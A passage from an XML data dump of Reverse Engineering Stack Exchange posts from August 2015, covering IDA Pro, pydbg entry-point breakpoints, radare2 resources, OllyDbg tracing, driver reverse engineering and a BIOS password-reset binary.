src=&quot;https://i.stack.imgur.com/VgSMC.png&quot; alt=&quot;Some work, some don&amp;#39;t&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this? Can I rename them all?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="1388" LastEditDate="2015-08-14T11:27:30.257" LastActivityDate="2015-08-15T14:08:41.087" Title="Renaming subroutines in IDA Pro for MIPS" Tags="|ida|mips|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10625" PostTypeId="1" AcceptedAnswerId="10631" CreationDate="2015-08-14T14:40:55.590" Score="1" ViewCount="318" Body="&lt;p&gt;I am attempting to disassemble a test binary I compiled written in masm. Here are the follwing bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Microsoft (R) COFF/PE Dumper Version 10.00.40219.01&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;&#xA;Dump of file X:\test.exe&#xA;&#xA;File Type: EXECUTABLE IMAGE&#xA;&#xA;00401000: EB FE              jmp         00401000&#xA;00401002: 33 C0              xor         eax,eax&#xA;00401004: 33 DB              xor         ebx,ebx&#xA;00401006: 33 C9              xor         ecx,ecx&#xA;00401008: 33 D2              xor         edx,edx&#xA;0040100A: B8 02 00 00 00     mov         eax,2&#xA;0040100F: BB 01 00 00 00     mov         ebx,1&#xA;00401014: 3B C3              cmp         eax,ebx&#xA;00401016: 7F 06              jg          0040101E&#xA;00401018: 2B C3              sub         eax,ebx&#xA;0040101A: 3B C3              cmp         eax,ebx&#xA;0040101C: 7F 22              jg          00401040&#xA;0040101E: B8 05 00 00 00     mov         eax,5&#xA;00401023: BB 0A 00 00 00     mov         ebx,0Ah&#xA;00401028: 3B C3              cmp         eax,ebx&#xA;0040102A: 7F 06              jg          00401032&#xA;0040102C: 2B D8              sub         ebx,eax&#xA;0040102E: 3B D8              cmp         ebx,eax&#xA;00401030: 7F 07              jg          00401039&#xA;00401032: B8 0D 00 00 00     mov         eax,0Dh&#xA;00401037: EB 0E              jmp         00401047&#xA;00401039: BB 09 00 00 00     mov         ebx,9&#xA;0040103E: EB 07              jmp         00401047&#xA;00401040: B9 17 00 00 00     mov         ecx,17h&#xA;00401045: EB 00              jmp         00401047&#xA;00401047: 6A 00              push        0&#xA;00401049: E8 00 00 00 00     call        0040104E&#xA;0040104E: FF 25 00 20 40 00  jmp         dword ptr ds:[00402000h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following is my python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os, sys&#xA;from pydbg import *&#xA;from pydbg.defines import *&#xA;&#xA;pid = int(sys.argv[1])&#xA;&#xA;def handler_breakpoint(pydbg):&#xA;    if pydbg.first_breakpoint:&#xA;        return DBG_CONTINUE&#xA;    for thread_id in dbg.enumerate_threads():&#xA;        context = dbg.get_thread_context(None, h_thread)&#xA;    print(&quot;Eip = %08x&quot; % context.Eip)&#xA;    dbg.disasm(context.Eip)&#xA;    return DBG_CONTINUE&#xA;&#xA;dbg = pydbg()&#xA;dbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)&#xA;dbg.attach(pid)&#xA;for thread_id in dbg.enumerate_threads():&#xA;        context = dbg.get_thread_context(None, h_thread)&#xA;dbg.bp_set(context.Eip)&#xA;dbg.resume_all_threads()&#xA;pydbg.debug_event_loop(dbg)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just want to break into the first (jmp-0x2) instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the pydbg API &lt;a href=&quot;http://pedramamini.com/PaiMei/docs/PyDbg/public/pydbg.pydbg.pydbg-class.html&quot; rel=&quot;nofollow&quot;&gt;pydbg API&lt;/a&gt; and various projects that utilized pydbg and couldn't make heads or tails on how to do this.&lt;/p&gt;&#xA;" OwnerUserId="10058" LastActivityDate="2015-08-14T22:57:45.373" Title="pydbg: Disassemble at $exentry and relative offset from $exentry" Tags="|windows|debuggers|python|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10626" PostTypeId="2" ParentId="10625" CreationDate="2015-08-14T18:05:44.383" Score="1" Body="&lt;p&gt;It looks like you'd want to indent &lt;code&gt;dbg.bp_set(context.Eip)&lt;/code&gt; (so that it's part of the &lt;code&gt;for&lt;/code&gt;-loop) and replace &lt;code&gt;dbg.resume_all_threads()&lt;/code&gt; with &lt;code&gt;dbg.run()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-08-14T18:05:44.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10627" PostTypeId="1" AcceptedAnswerId="10646" CreationDate="2015-08-14T19:30:30.827" Score="5" ViewCount="808" Body="&lt;p&gt;I am interested in learning and using radare2 as a toolset for reverse engineering. But I want ANY other resource for learning this tools other than &lt;strong&gt;radare2 book&lt;/strong&gt;, preferably a video series. What I am interested in is solving crackmes and executables debugging.&lt;/p&gt;&#xA;" OwnerUserId="8437" LastEditorUserId="38" LastEditDate="2015-08-18T14:27:41.810" LastActivityDate="2016-04-27T16:40:52.470" Title="Any documentation available for r2 other than official book" Tags="|debugging|crackme|radare2|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10629" PostTypeId="1" CreationDate="2015-08-14T10:06:31.893" Score="1" ViewCount="1555" Body="&lt;p&gt;I’ve a bunch of first-class German dictionaries by Duden (the main German dictionary publisher) which, sadly, use a closed proprietary data format and their dedicated Duden-Bibliothek application (&lt;a href=&quot;https://de.wikipedia.org/wiki/Duden-Bibliothek&quot; rel=&quot;nofollow&quot;&gt;Information in German&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m usually using &lt;a href=&quot;http://goldendict.org/&quot; rel=&quot;nofollow&quot;&gt;Goldendict&lt;/a&gt; on my tablet. Is there any possibility to convert my dictionaries to Stardict/Goldendict format so I can use them on my Android devices ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve looked into &lt;a href=&quot;https://code.google.com/p/stardictproject/&quot; rel=&quot;nofollow&quot;&gt;stardict-tools&lt;/a&gt; but can’t convert.&lt;/p&gt;&#xA;" OwnerUserId="13397" OwnerDisplayName="summer.breeze" LastEditorUserId="3041" LastEditDate="2015-08-25T13:57:53.860" LastActivityDate="2015-12-23T15:35:46.793" Title="Converting Duden dictionaries for Stardict/Goldendict" Tags="|file-format|encodings|binary-format|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10630" PostTypeId="2" ParentId="10627" CreationDate="2015-08-14T20:47:07.450" Score="4" Body="&lt;p&gt;I think this is what you are looking for:&#xA;&lt;a href=&quot;https://github.com/maijin/workshop2015&quot; rel=&quot;nofollow&quot;&gt;https://github.com/maijin/workshop2015&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course just join the chat room on freenode #radare2 and ask questions.&lt;/p&gt;&#xA;" OwnerUserId="11834" LastActivityDate="2015-08-14T20:47:07.450" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10631" PostTypeId="2" ParentId="10625" CreationDate="2015-08-14T22:57:45.373" Score="1" Body="&lt;p&gt;if you attach to any running process the breakpoint at the entry point will not be hit &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to break on &lt;code&gt;Address of EntryPoint&lt;/code&gt; you should load the binary and set the breakpoint during the first system (pydbg.firstbreakpoint) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to retrieve the AddressofEntryPoint dynamically you would have to read the process memory and decipher the pe header-&gt;address of entry point &lt;/p&gt;&#xA;&#xA;&lt;p&gt;shown below is a sample script that breaks on calc.exe entrypoint and dumps the context &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat entrypoint.py&#xA;import struct&#xA;from pydbg import *&#xA;from pydbg.defines import *&#xA;def handler_breakpoint (pydbg):&#xA;  if pydbg.first_breakpoint:&#xA;    for module in dbg.iterate_modules():&#xA;      base_address = module.modBaseAddr&#xA;      dos_header   = dbg.read_process_memory(base_address, 0x40)&#xA;      if len(dos_header) != 0x40 or dos_header[:2] != &quot;MZ&quot;:&#xA;        continue&#xA;      e_lfanew   = struct.unpack(&quot;&amp;lt;I&quot;, dos_header[0x3c:0x40])[0]&#xA;      pe_headers = dbg.read_process_memory(base_address + e_lfanew, 0xF8)&#xA;      if len(pe_headers) != 0xF8 or pe_headers[:2] != &quot;PE&quot;:&#xA;        continue&#xA;      entrypoint = (struct.unpack(&quot;&amp;lt;I&quot;, pe_headers[0x28:0x2c])[0]) + base_addres&#xA;s&#xA;      print &quot;0x%08x&quot; % entrypoint&#xA;      dbg.bp_set(entrypoint)&#xA;      return DBG_CONTINUE&#xA;  print dbg.dump_context(dbg.context)&#xA;  return DBG_CONTINUE&#xA;dbg = pydbg()&#xA;dbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)&#xA;dbg.load(&quot;c:\windows\system32\calc.exe&quot;)&#xA;pydbg.debug_event_loop(dbg)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;python entrypoint.py&#xA;0x01012475&#xA;CONTEXT DUMP&#xA;  EIP: 01012475 push byte 0x70&#xA;  EAX: 00000000 (         0) -&amp;gt; N/A&#xA;  EBX: 7ffd7000 (2147315712) -&amp;gt; N/A&#xA;  ECX: 0007ffb0 (    524208) -&amp;gt;&#xA;  EDX: 7c90e514 (2089870612) -&amp;gt; N/A&#xA;  EDI: 00250000 (   2424832) -&amp;gt; N/A&#xA;  ESI: 7c9115f9 (2089883129) -&amp;gt; N/A&#xA;  EBP: 0007fff0 (    524272) -&amp;gt; &#xA;  ESP: 0007ffc4 (    524228) -&amp;gt; wp (stack)&#xA;  +00: 7c817077 (2088857719) -&amp;gt; N/A&#xA;  +04: 00250000 (   2424832) -&amp;gt; N/A&#xA;  +08: 7c9115f9 (2089883129) -&amp;gt; N/A&#xA;  +0c: 7ffd7000 (2147315712) -&amp;gt; N/A&#xA;  +10: 80544c7d (2153008253) -&amp;gt; N/A&#xA;  +14: 0007ffc8 (    524232) -&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-08-14T22:57:45.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10632" PostTypeId="2" ParentId="10623" CreationDate="2015-08-15T08:39:40.063" Score="2" Body="&lt;p&gt;Probably it is because IDA treats the &lt;code&gt;la&lt;/code&gt; arguments as integers. &#xA;Try the following : go to one of the places,where &lt;code&gt;system&lt;/code&gt; displayed as a number, locate your cursor on this number, press &lt;kbd&gt;O&lt;/kbd&gt; and recheck if it is still referenced as a number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update based on comments - this code illustrates general idea of how it can be fixed automatically. Note: this code is not tested, and provided only for illustrative purposes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#I didn't check this code, &#xA;#use carefully, &#xA;#beware of errors !&#xA;&#xA;import idc&#xA;import idautils&#xA;import idaapi&#xA;&#xA;&#xA;#this function will pass over all assembly commands in correspondiong parameter&#xA;#and will set as offsets all operands mentioned in second parameter&#xA;#   @param list_of_ranges --&amp;gt; list of tuples of start and end of code ranges where it &#xA;#            should be applied&#xA;#   @list_of_commands_and_operands--&amp;gt; list of tuples of assembly commands as string &#xA;#            and number of operands where it should be applied&#xA;&#xA;def multi_convert_op_to_offset(list_of_ranges, list_of_commands_and_operands):&#xA;    for (start, end) in list_of_ranges:&#xA;        for h in idautils.Heads(start, end):&#xA;            dis = idc.GetDisasm(h).split()&#xA;            mnemonic = dis[0]&#xA;            for mnem, op in list_of_commands_and_operands:&#xA;                if mnem == mnemonic:&#xA;                    idc.OpOff(h, op, 0)&#xA;&#xA;&#xA;#Usage:&#xA;&#xA;start = start_of_your_relevant_code&#xA;end = end_of_your_relevant_code&#xA;&#xA;l_of_rng = []&#xA;&#xA;l_of_rng.append((start, end))&#xA;&#xA;l_of_cmds_and_ops = []&#xA;&#xA;l_of_cmds_and_ops.append((&quot;la&quot;, 1))&#xA;&#xA;multi_convert_op_to_offset(l_of_rng, l_of_cmds_and_ops)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-08-15T14:08:41.087" LastActivityDate="2015-08-15T14:08:41.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10633" PostTypeId="1" AcceptedAnswerId="10645" CreationDate="2015-08-15T17:00:18.913" Score="5" ViewCount="3947" Body="&lt;p&gt;My main question is how the open source community reverse engineers windows drivers (for say, video cards) to re-write them under linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links to resources are fine, I don't expect a tutorial on driver development in an answer. But at least I need to be pointed in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is actually have been asked in other stackoverflow sub domain.However, the original writer doesn't get the correct answer and i also want to know about this reverse engineering method. I hope this question is not considered as duplicate one.&lt;/p&gt;&#xA;" OwnerUserId="3917" LastActivityDate="2015-08-18T10:53:41.710" Title="Capturing OS/hardware communication / reverse engineering drivers" Tags="|linux|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10634" PostTypeId="1" AcceptedAnswerId="10636" CreationDate="2015-08-15T20:50:21.477" Score="2" ViewCount="6362" Body="&lt;p&gt;When I use &quot;trace into&quot; it doesn't log every single executed instruction in the &quot;Run Trace&quot; window only some of them. I have to set breakpoints in order for some of the instructions to be logged. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example right now I'm tracing a program with a TLS callback. I break on system entry point, so I start in ntdll and hit &quot;trace into&quot; but the TLS callback which is from the main executable is not logged if I don't put a breakpoint on it. If I put a breakpoint on it then it appears in the run trace. How can I log every single instruction without setting breakpoints? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have unchecked the box for &quot;Don't enter system dlls&quot; and checked the box for &quot;always trace over string functions&quot; (and all other combinations thereof). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried setting a trace condition &quot;pause trace when EIP is between 400000-500000&quot; which only works when I set a breakpoint on the TLS (i.e clicking &quot;trace into&quot; will single-step through the TLS code once the breakpoint is hit and will not pause not before the breakpoint I set), and doesn't work if I don't set the breakpoint. There is obviously something I'm missing, but I've tried everything that I can think of. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also another thing: When I press &quot;Execute till user code&quot; from ntdll, it doesn't stop on the TLS callbacks (unless I put breakpoints on there). Why does that happen? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Turns out problem was I was using 64 bit OS. I ran it again in 32 bit windows and the TLS was traced fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Execute till user code&quot; still doesn't break on TLS callbacks though. &lt;/p&gt;&#xA;" OwnerUserId="13297" LastEditorUserId="13297" LastEditDate="2015-08-16T13:28:17.817" LastActivityDate="2015-08-16T13:28:17.817" Title="How to trace every instruction that was executed?" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10636" PostTypeId="2" ParentId="10634" CreationDate="2015-08-16T11:12:35.037" Score="1" Body="&lt;p&gt;how did you confirm that the tls call back is not present in run trace ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK ollydbg properly traces through LdrpCallInitRoutine    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Run trace, selected line&#xA; Back=1663410.&#xA; Thread=Main&#xA; Module=ntdll&#xA; Address=7C91C4F5&#xA; Command=CALL    ntdll.LdrpCallInitRoutine&#xA; Comment=ELdrpCallInitRoutine &amp;lt;------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;do you log the trace to some file the buffer entries drop out in last in first out fashion (buffer size is configurable and default size of buffer is set at its lowest size )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;even if you configure the buffer to its maximun size there is a chance that the log entries were dropped &lt;/p&gt;&#xA;&#xA;&lt;p&gt;do you know the address of tls callback &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if yes did you try right click -&gt; mark address and using + / - to navigate ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a tls entry as logged by ollydbg &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Run trace, selected line&#xA; Back=1663399.  &amp;lt;------------------ i have paused the binary so much instruction forward     &#xA;notice the earlier index is farther back in ldrpcallinitroutine paste above&#xA; Thread=Main&#xA; Module=kernl&#xA; Address=10001000 &amp;lt;ModuleEntryPoint&amp;gt;  &amp;lt;---- a dll (LDR_PROCESS_ATTACH Init Call)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Command=PUSH    EBP&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-08-16T11:12:35.037" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10639" PostTypeId="2" ParentId="9565" CreationDate="2015-08-16T20:46:28.823" Score="3" Body="&lt;p&gt;I know referring to another sites is not the best answer you want to get but Reddit has a pretty good and active &lt;a href=&quot;https://www.reddit.com/r/REGames&quot; rel=&quot;nofollow&quot;&gt;REGames&lt;/a&gt; will give you a good revive. &lt;/p&gt;&#xA;" OwnerUserId="11834" LastActivityDate="2015-08-16T20:46:28.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10642" PostTypeId="1" CreationDate="2015-08-17T23:02:35.077" Score="1" ViewCount="740" Body="&lt;p&gt;I was wondering what is the average time for you to classify (by reverse engineering) if a suspicious file is a malware or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13313" LastActivityDate="2015-08-21T07:56:48.980" Title="What is the average time for malware analysis?" Tags="|malware|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10643" PostTypeId="2" ParentId="10642" CreationDate="2015-08-18T01:24:43.617" Score="3" Body="&lt;p&gt;The question will likely get closed as &lt;strong&gt;primarily opinion-based&lt;/strong&gt;, but I'll give my answer anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're just trying to determine if it's likely malicious or not, it can &lt;em&gt;usually&lt;/em&gt; be done in less than 5 minutes.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-08-18T01:24:43.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10644" PostTypeId="2" ParentId="10642" CreationDate="2015-08-18T09:55:44.257" Score="1" Body="&lt;p&gt;In most cases You don't need RE to identify, if specific sample is &quot;malware&quot; or not. Initial dynamic analysis usually is more than enough to answer the question, if it malware or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cases, where You need to use RE to clarify it category, it depend on mostly 2 factors: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Researcher's skill-set and knowledge of methods and techniques to analyse. &lt;/li&gt;&#xA;&lt;li&gt;Ability of malware author to create code, that hard to be detected\reversed\analysed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But You first of all need to define &quot;malicious activity&quot;, and then just look for it in sample.&lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2015-08-18T09:55:44.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10645" PostTypeId="2" ParentId="10633" CreationDate="2015-08-18T10:53:41.710" Score="4" Body="&lt;p&gt;It depends on the particular interface, but the general idea is often the same and usually does &lt;strong&gt;NOT&lt;/strong&gt; involve disassembling the driver.  The reason is that the disassembling method for reverse engineering is not considered legal in all jurisdictions.  Here are the usual steps:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;1. Contact the manufacturer for needed information&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Obviously, the most direct approach is also the easiest if successful.  Some manufacturers are more cooperative than others.  For some types of devices, even if the manufacturer of a device is uncooperative, sometimes the manufacturer of major chips on the device are willing to share some information and this can help.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;2. Get general information about the device by observation&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;A lot of information can be obtained simply by observation.  For example, what are the major components in the device?  Can we look up part numbers and find datasheets for them?  Is this version &lt;em&gt;n+1&lt;/em&gt; and there is already a version &lt;em&gt;n&lt;/em&gt; driver for Linux?  Does the manual or the Windows driver user interface give any important clues about registers, settings or capabilities?  Does the Windows driver support multiple devices? This can be an indication that the devices might be similar, and if there's a Linux driver for one of them already, it can help.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;3. Capture communications with the device for analysis&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For some devices such as serial ports or USB, capturing the communications between the device driver and device is usually fairly straightforward.  (See &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2416/how-to-reverse-engineer-simple-usb-device-windows-linux?rq=1&quot;&gt;How to reverse engineer simple usb device [windows -&amp;gt; linux]&lt;/a&gt;) Capturing communications for video cards can be done in a couple of ways. One way it can be done is by using a proprietary Linux driver and then intercepting calls for that, as with the &lt;a href=&quot;http://nouveau.freedesktop.org/wiki/REnouveau/&quot; rel=&quot;nofollow noreferrer&quot;&gt;REnouveau&lt;/a&gt; tool. Sharing data is important, and is one reason so many drivers have been successfully written for Linux. One of the major strengths of the open source community is the fact that there are people all over the world who can and do collaborate with such efforts. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;4. Attempt to duplicate the communications under Linux&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is a matter of writing code and trying the result. Because Linux already has a rich set of drivers, it's often easiest to start with something similar and modify it.  Since everything is open source, tinkering is not merely allowed but encouraged! For devices other than video cards, one can often write userspace code to attempt to exercise the device and to gather data and try experiments. Ultimately, a real driver is written, ideally as a kernel module, to allow unloading and reloading. This speeds the development cycle over having to reboot after any driver change (I'm looking at &lt;strong&gt;YOU&lt;/strong&gt;, Windows!) &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;5. Test extensively&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Testing and bugfixing is important for open source software generally, and that certainly applies to device drivers as well as anything else.  First, for inclusion in the kernel, other developers look at the code in a sometimes brutal but invariably useful process called code review.  Other experienced developers look at the source code and point out weaknesses in the code, flaws in assumptions and even typos in comments and formatting problems. Once enough people have done that, people with the actual device in question actually try it on their hardware and report bugs or anomalies. This often turns up issues such as version differences (e.g. there were multiple versions of the physical device, but all sold as the same thing) and device conflicts (both device A and device B work great individually, but fail when both are connected).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, the result is a shiny new bug-free open source driver that everyone can use.  (Or that's the goal, anyway!)&lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2015-08-18T10:53:41.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10646" PostTypeId="2" ParentId="10627" CreationDate="2015-08-18T14:03:28.303" Score="7" Body="&lt;p&gt;I wrote &lt;a href=&quot;https://dustri.org/b/archives.html&quot;&gt;some articles&lt;/a&gt; (search for &lt;em&gt;radare2&lt;/em&gt;) about using r2 for crackmes, and there is a &lt;a href=&quot;http://www.rada.re/r/talks.html&quot;&gt;talk&lt;/a&gt; section on the official website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can find useful articles from the &lt;a href=&quot;http://radare.today&quot;&gt;blog&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, feel free to come ask questions on the irc channel.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastEditorUserId="38" LastEditDate="2015-08-18T18:03:57.690" LastActivityDate="2015-08-18T18:03:57.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10647" PostTypeId="1" CreationDate="2015-08-18T19:01:56.780" Score="1" ViewCount="3774" Body="&lt;p&gt;I have a laptop that I recently lost the BIOS Admin password for. I contacted the manufacturer and, after giving them some information about my BIOS (version, uuid), they sent me a file, &lt;code&gt;smc.bin&lt;/code&gt; to put on a USB stick and boot in order to reset the BIOS password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested in how this works and what the binary file is. I'm skilled with linux, but don't know much about reverse-engineering. What tools can I use to examine this binary? What's a introductory thought-process to determine what a binary file like this is?&lt;/p&gt;&#xA;" OwnerUserId="13316" LastEditorUserId="28285" LastEditDate="2020-01-07T15:39:48.110" LastActivityDate="2020-01-07T15:39:48.110" Title="Reverse Engineering a Binary to reset a BIOS password" Tags="|binary|bios|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10648" PostTypeId="1" CreationDate="2015-08-18T19:40:48.657" Score="0" ViewCount="1069" Body="&lt;p&gt;Has anyone had luck debugging JNI code inside of an Android Emulator using IDA?  I haven't been able to get any of the popular Windows Android emulators to work.  Been trying step such as in &lt;a href=&quot;http://forum.xda-developers.com/showthread.php?t=2050393&amp;amp;nocache=1&quot; rel=&quot;nofollow&quot;&gt;http://forum.xda-developers.com/showthread.php?t=2050393&amp;amp;nocache=1&lt;/a&gt; but can't get android_server to launch.&lt;/p&gt;&#xA;" OwnerUserId="13317" LastActivityDate="2015-08-19T04:15:05.393" Title="Anyone had success with IDA &amp; Windroye/Andydroid/BlueStacks?" Tags="|ida|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10649" PostTypeId="2" ParentId="10647" CreationDate="2015-08-18T20:34:11.060" Score="5" Body="&lt;p&gt;As a tool I would recommend &lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;noreferrer&quot;&gt;radare2&lt;/a&gt; for this task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you never done something like this before &lt;a href=&quot;https://sites.google.com/site/pinczakko/pinczakko-s-guide-to-award-bios-reverse-engineering&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; is probably the best tutorial to get you started with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just be in mind its not gonna be a quick and dirty job, might take you a while.&lt;/p&gt;&#xA;" OwnerUserId="11834" LastActivityDate="2015-08-18T20:34:11.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10650" PostTypeId="1" CreationDate="2015-08-19T00:42:25.440" Score="-2" ViewCount="1173" Body="&lt;p&gt;not trying to sound like my question is just more important than others because I'm asking it, purely because the outcome of my work will involve electrical impulses directly into people's faces. I want to make sure I do this right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking into this hex editing and there seems to be no rhyme or rhythm to what I'm editing. I've programmed before, I can wrap my head around this stuff I just don't know where to begin. The ANSI pane is full of random numbers and letters. Is there any way to find out what hex relates to the number of impulses sent out by this machine? Or at very least, how can I approach the company that made the machine and ask intelligible enough questions to them about how to find the hex code? I want to be as efficient with my time, and their's, as I can be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13318" LastActivityDate="2015-08-19T01:15:42.643" Title="How do I find specific sets of data when Hex Editing? (Important)" Tags="|hex|" AnswerCount="1" CommentCount="1" ClosedDate="2015-08-21T18:22:38.540" ContentLicense="CC BY-SA 3.0" />
  <row Id="10651" PostTypeId="2" ParentId="10650" CreationDate="2015-08-19T01:15:42.643" Score="1" Body="&lt;p&gt;It's often difficult if not impossible to make sense out of raw data (what you're seeing in your hex editor). That data may be unstructured, or compressed, or encrypted, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll likely need to reverse engineer the code that operates on the raw data in order to understand the content of the data file.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-08-19T01:15:42.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10652" PostTypeId="2" ParentId="10648" CreationDate="2015-08-19T04:15:05.393" Score="1" Body="&lt;p&gt;You cannot debug native code with those emulators as they aren't arm based. The emulator from google will however work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example BlueStacks uses a proprietary technology called LayerCake which allows apps to run at near native speeds. This is possible since LayerCake &lt;em&gt;&quot;converts&quot;&lt;/em&gt; ARM to x86 and this is the reason for its speed.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-08-19T04:15:05.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
